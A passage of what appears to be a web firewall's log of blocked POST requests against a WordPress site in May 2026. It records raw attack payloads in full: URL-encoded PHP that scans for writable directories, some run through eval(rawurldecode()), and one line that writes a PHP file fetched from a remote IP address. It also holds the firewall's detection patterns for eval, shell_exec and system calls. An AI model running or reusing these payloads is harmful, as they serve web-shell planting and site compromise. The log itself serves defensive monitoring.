%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:59:25","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> AJ:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3822\n\nAJ=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:59:33","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> uh:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3832\n\nuh=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin\/network%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:59:36","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-length:3865\nsec-ch-ua-platform:\"macOS\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 13:59:47","54.36.177.228","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iT:%3C%3Fphp%20%20file_put_contents%28%27adminupevents.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xGQmGeuYcp%27%29%29%3B","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 